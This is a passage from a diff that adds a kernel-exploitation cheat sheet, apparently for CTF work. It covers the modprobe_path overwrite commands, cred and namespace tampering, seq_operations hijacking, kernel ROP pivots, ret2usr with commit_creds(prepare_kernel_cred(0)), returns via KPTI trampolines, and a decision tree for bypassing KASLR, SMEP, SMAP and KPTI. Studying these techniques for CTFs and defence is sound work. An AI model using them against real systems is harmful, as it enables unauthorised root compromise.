+ echo '#!/bin/sh' > /tmp/x
146
+ echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
147
+ chmod +x /tmp/x
148
+ # Trigger (unknown binary format):
149
+ echo -ne '\xff\xff\xff\xff' > /tmp/dummy
150
+ chmod +x /tmp/dummy
151
+ /tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
152
+ ```
153
+
154
+ ### Method 3: cred Structure Direct Overwrite
155
+
156
+ If you can find the current task's `cred` pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
157
+
158
+ ### Method 4: Namespace Escape (Containers)
159
+
160
+ Overwrite `init_nsproxy` or manipulate namespace pointers to escape container isolation.
161
+
162
+ ---
163
+
164
+ ## 5. KERNEL ROP
165
+
166
+ ### Controlled RIP Sources
167
+
168
+ | Source | Mechanism |
169
+ |---|---|
170
+ | Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer |
171
+ | Corrupted return address | Kernel stack overflow (rare) |
172
+ | Corrupted `ops` structure | Module operations struct (file_operations, seq_operations) |
173
+
174
+ ### seq_operations Hijack (Common CTF Pattern)
175
+
176
+ ```c
177
+ struct seq_operations {
178
+ void * (*start)(struct seq_file *, loff_t *);
179
+ void (*stop)(struct seq_file *, void *);
180
+ void * (*next)(struct seq_file *, void *, loff_t *);
181
+ int (*show)(struct seq_file *, void *);
182
+ };
183
+ // Size: 0x20 (fits in kmalloc-32)
184
+ // Open /proc/self/stat → allocates seq_operations
185
+ // UAF overwrite start → controlled RIP when read() is called
186
+ ```
187
+
188
+ ### Stack Pivoting in Kernel
189
+
190
+ | Gadget | Usage |
191
+ |---|---|
192
+ | `xchg eax, esp; ret` | Pivot to address in lower 32 bits of RAX (mmap buffer at known addr) |
193
+ | `mov rsp, [rdi+X]; ...` | If RDI points to controlled data |
194
+ | `push rdi; pop rsp; ...` | Pivot to RDI (first arg of hijacked function) |
195
+
196
+ **Important**: After SMEP, cannot execute userspace code. ROP chain must use **kernel gadgets** only.
197
+
198
+ ---
199
+
200
+ ## 6. ret2usr (Pre-SMEP)
201
+
202
+ Directly call a userspace function from kernel context:
203
+
204
+ ```c
205
+ void escalate() {
206
+ commit_creds(prepare_kernel_cred(0));
207
+ }
208
+ // Overwrite kernel function pointer to point to escalate() in user memory
209
+ ```
210
+
211
+ **Blocked by**: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.
212
+
213
+ ---
214
+
215
+ ## 7. RETURNING TO USERSPACE
216
+
217
+ After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
218
+
219
+ ### Via iretq (Traditional)
220
+
221
+ ```nasm
222
+ ; ROP chain ending:
223
+ swapgs ; swap GS base back to userspace
224
+ iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
225
+ ; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
226
+ ```
227
+
228
+ ```python
229
+ # Save userspace state before entering kernel
230
+ user_cs = 0x33
231
+ user_ss = 0x2b
232
+ user_rflags = # saved via pushfq before exploit
233
+ user_rsp = # saved RSP
234
+ user_rip = # address of post-exploit function (e.g., get_shell)
235
+ ```
236
+
237
+ ### Via KPTI Trampoline (When KPTI Enabled)
238
+
239
+ KPTI separates kernel/user page tables. Direct `swapgs; iretq` crashes because user pages aren't mapped. Use the kernel's own return trampoline:
240
+
241
+ ```
242
+ # KPTI trampoline (in kernel at known offset):
243
+ # swapgs_restore_regs_and_return_to_usermode:
244
+ # mov rdi, rsp
245
+ # ...
246
+ # swapgs
247
+ # iretq
248
+ # Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
249
+ ```
250
+
251
+ ### Via signal Handler Return
252
+
253
+ Set up a signal handler before exploit. After `commit_creds`, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).
254
+
255
+ ---
256
+
257
+ ## 8. QEMU DEBUGGING TIPS
258
+
259
+ | Command | Purpose |
260
+ |---|---|
261
+ | `-s -S` | GDB server on :1234, paused |
262
+ | `-monitor /dev/null` | Disable QEMU monitor (cleaner output) |
263
+ | `-append "nokaslr"` | Disable KASLR for debugging |
264
+ | `-cpu kvm64,+smep,+smap` | Enable specific CPU features |
265
+ | `info registers` (GDB) | Show all register values |
266
+ | `maintenance packet Qqemu.PhyMemMode:1` | Read physical memory in GDB |
267
+ | `cat /proc/kallsyms` | Kernel symbol addresses (if readable) |
268
+ | `cat /sys/kernel/notes` | Kernel build ID |
269
+
270
+ ---
271
+
272
+ ## 9. DECISION TREE
273
+
274
+ ```
275
+ Kernel vulnerability identified
276
+ ├── What type?
277
+ │ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
278
+ │ ├── OOB → determine read/write range, target adjacent objects
279
+ │ ├── Race condition → reliable trigger (userfaultfd, FUSE)
280
+ │ ├── Integer overflow → how does it translate to OOB or allocation confusion?
281
+ │ └── Type confusion → what can the confused type access?
282
+
283
+ ├── Build primitive
284
+ │ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
285
+ │ ├── Arbitrary read? → leak KASLR base, then controlled RIP
286
+ │ ├── Arbitrary write? → modprobe_path overwrite (simplest)
287
+ │ │ or overwrite cred structure directly
288
+ │ └── Limited write? → target function pointer in known object
289
+
290
+ ├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
291
+ │ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
292
+ │ ├── SMEP → kernel ROP only (no user code exec)
293
+ │ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
294
+ │ ├── KPTI → use KPTI trampoline for clean return
295
+ │ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
296
+
297
+ ├── Escalation method
298
+ │ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
299
+ │ ├── Have arbitrary write only → modprobe_path overwrite
300
+ │ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
301
+ │ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
302
+
303
+ └── Return to userspace
304
+ ├── KPTI disabled → swapgs; iretq (ROP ending)
305
+ ├── KPTI enabled → jump to KPTI trampoline
306
+ └── Alternative → signal handler + process_one_work return path
307
+ ```